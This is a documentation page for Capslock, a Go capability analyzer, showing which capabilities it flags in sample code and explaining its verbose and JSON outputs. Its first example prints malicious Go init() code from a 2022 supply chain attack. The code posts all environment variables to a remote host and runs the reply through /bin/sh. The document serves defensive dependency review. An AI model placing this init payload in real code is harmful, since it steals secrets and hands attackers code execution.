github.com/google/capslock@v0.2.3-0.20240517042941-dac19fc347c0/docs/examples.md (about)

     1  ## Examples
     2  
     3  ### Capabilities in supply chain attacks
     4  
     5  In August 2022, an attempted supply chain attack cloned thousands of GitHub
     6  repos, adding a malicious payload that appeared to exfiltrate user information
     7  and run an external script. Based on the code snippets available, we can test
     8  what the Capslock analyzer would identify as the capabilities of this code.
     9  
    10  As an example, Go packages were typically modified to add the following `init`
    11  statement:
    12  
    13  ```
    14  func init() {
    15      if os.Getenv("example") == "1" {
    16          return
    17      }
    18      os.Setenv("example", "1")
    19      env, err := json.Marshal(os.Environ())
    20      if err != nil {
    21          return
    22      }
    23      res, err := http.Post("", "application/json", bytes.NewBuffer(env))
    24      if err != nil {
    25          return
    26      }
    27      defer res.Body.Close()
    28      body, err := ioutil.ReadAll(res.Body)
    29      if err != nil {
    30          return
    31      }
    32      if string(body) != "" {
    33          exec.Command("/bin/sh", "-c", string(body)).Start()
    34      }
    35  }
    36  ```
    37  
    38  This would be easily identified by a human reviewer - but with thousands of
    39  lines to review in any potential dependency this sort of thing is easily missed.
    40  Capability signals can help direct reviewer attention to functions of higher
    41  criticality by calling out where privileged operations are likely to be
    42  performed.
    43  
    44  With just this init function alone, we get the following capabilities:
    45  
    46  ```
    47  CAPABILITY_EXEC: 1 calls
    48  CAPABILITY_FILES: 1 calls
    49  CAPABILITY_MODIFY_SYSTEM_STATE: 2 calls
    50  CAPABILITY_NETWORK: 1 calls
    51  CAPABILITY_OPERATING_SYSTEM: 1 calls
    52  CAPABILITY_READ_SYSTEM_STATE: 1 calls
    53  CAPABILITY_REFLECT: 1 calls
    54  CAPABILITY_UNANALYZED: 1 calls
    55  ```
    56  
    57  This is a lot of capabilities for such a small function, and some of these would
    58  warrant attention. Once a reviewer is aware that this code requires
    59  attention, the issues with it would be immediately obvious.
    60  
    61  ### Running Capslock on Capslock
    62  
    63  As an example of how to interpret capability signals that are not malicious, the analysis for
    64  the Capslock package identifies the following capability calls:
    65  
    66  ```
    67  CAPABILITY_EXEC: 1 calls
    68  CAPABILITY_FILES: 2 calls
    69  CAPABILITY_OPERATING_SYSTEM: 1 calls
    70  CAPABILITY_READ_SYSTEM_STATE: 2 calls
    71  CAPABILITY_REFLECT: 2 calls
    72  CAPABILITY_UNANALYZED: 2 calls
    73  CAPABILITY_UNSAFE_POINTER: 2 calls
    74  ```
    75  
    76  That seems like a lot! We can look further into each of these capability by
    77  calling Capslock with the verbose flag `-v`. To begin with we can look into the
    78  `exec` capability:
    79  
    80  ```
    81  CAPABILITY_EXEC: 1 calls
    82  0 direct, 1 transitive
    83  Example callpath: capslock/cmd/capslock.main capslock/analyzer.LoadPackages golang.org/x/tools/go/packages.Load golang.org/x/tools/go/packages.defaultDriver golang.org/x/tools/go/packages.findExternalDriver$1 (*os/exec.Cmd).Run
    84  ```
    85  
    86  That isn't particularly surprising - when the CLI call the Go packages driver to
    87  load the given package for analysis, this package uses a transitive call to `os/exec`.
    88  As an example of a capability that is a bit more
    89  unexpected, let's check on where calls to `CAPABILITY_OPERATING_SYSTEM` are coming from.
    90  
    91  ```
    92  CAPABILITY_OPERATING_SYSTEM: 1 calls
    93  0 direct, 1 transitive
    94  Example callpath: capslock/cmd/capslock.main capslock/analyzer.LoadPackages golang.org/x/tools/go/packages.Load golang.org/x/tools/go/packages.defaultDriver golang.org/x/tools/go/packages.goListDriver golang.org/x/tools/go/packages.goListDriver$1 golang.org/x/tools/go/internal/packagesdriver.GetSizesGolist (*golang.org/x/tools/internal/gocommand.Runner).RunRaw (*golang.org/x/tools/internal/gocommand.Runner).runConcurrent (*golang.org/x/tools/internal/gocommand.Invocation).runWithFriendlyError (*golang.org/x/tools/internal/gocommand.Invocation).run golang.org/x/tools/internal/gocommand.runCmdContext (*os.Process).Kill
    95  ```
    96  
    97  Looks like this capability is due to calls via the `protobuf` library. That
    98  isn't particularly surprising, and is fairly necessary for this package. This is
    99  an example of how even capabilities that aren't intuitive are not necessarily
   100  something to be avoided. But by reviewing what our code is really doing we can
   101  reassure ourselves that nothing concerning is present in our dependencies.
   102  
   103  
   104  
   105  
   106  ### Machine-readable outputs
   107  
   108  There are two types of machine readable outputs produced by Capslock:
   109  
   110  *  JSON, by using -output=j or -output=json
   111  *  A list of capability types, from -output=m
   112  
   113  
   114  The key details in the JSON output are in the CapabilityInfo repeated field,
   115  which is represented as a protocol buffer in the analyzer. This proto has the
   116  following format:
   117  
   118  ```
   119  message CapabilityInfo {
   120    // The name of the package.
   121    optional string package_name = 1;
   122    // Name associated with this capability.
   123    optional Capability capability = 2;
   124    // The dependency path to where the capability is incurred.
   125    optional string dep_path = 3;
   126    // The dependency path to where the capability is incurred.
   127    // Each element is a single function or method.
   128    repeated Function path = 6;
   129    // The location of the package.
   130    optional string package_dir = 4;
   131    // Classification of how the capability was incurred.
   132    optional CapabilityType capability_type = 5;
   133  }
   134  ```
   135  
   136  As an example, we have the following capability in the JSON output when
   137  analyzing the Capslock package:
   138  
   139  ```
   140  {
   141    "packageName":  "main",
   142    "capability":  "CAPABILITY_EXEC",
   143    "depPath":  "capslock/cmd/capslock.main capslock/analyzer.LoadPackages golang.org/x/tools/go/packages.Load golang.org/x/tools/go/packages.defaultDriver golang.org/x/tools/go/packages.findExternalDriver$1 (*os/exec.Cmd).Run",
   144    "path":  [
   145      {
   146        "name":  "capslock/cmd/capslock.main"
   147      },
   148      {
   149        "name":  "capslock/analyzer.LoadPackages",
   150        "site":  {
   151          "filename":  "capslock.go",
   152          "line":  "38",
   153          "column":  "31"
   154        }
   155      },
   156      {
   157        "name":  "golang.org/x/tools/go/packages.Load",
   158        "site":  {
   159          "filename":  "load.go",
   160          "line":  "78",
   161          "column":  "28"
   162        }
   163      },
   164      {
   165        "name":  "golang.org/x/tools/go/packages.defaultDriver",
   166        "site":  {
   167          "filename":  "packages.go",
   168          "line":  "261",
   169          "column":  "32"
   170        }
   171      },
   172      {
   173        "name":  "golang.org/x/tools/go/packages.findExternalDriver$1",
   174        "site":  {
   175          "filename":  "packages.go",
   176          "line":  "278",
   177          "column":  "25"
   178        }
   179      },
   180      {
   181        "name":  "(*os/exec.Cmd).Run",
   182        "site":  {
   183          "filename":  "external.go",
   184          "line":  "88",
   185          "column":  "20"
   186        }
   187      }
   188    ],
   189    "packageDir":  "capslock/cmd/capslock",
   190    "capabilityType":  "CAPABILITY_TYPE_TRANSITIVE"
   191  },
   192  ```
   193  
   194  Another important part of the JSON output is the moduleInfo section, which
   195  includes the versions of the packages that were build in order to make the
   196  analysis reproducible.
   197  
   198  ```
   199  "moduleInfo":  [
   200      {
   201        "path":  "golang.org/x/mod",
   202        "version":  "v0.10.0"
   203      },
   204      {
   205        "path":  "golang.org/x/sys",
   206        "version":  "v0.8.0"
   207      },
   208      {
   209        "path":  "golang.org/x/tools",
   210        "version":  "v0.9.3"
   211      },
   212      {
   213        "path":  "google.golang.org/protobuf",
   214        "version":  "v1.28.1"
   215      },
   216  ]
   217  ```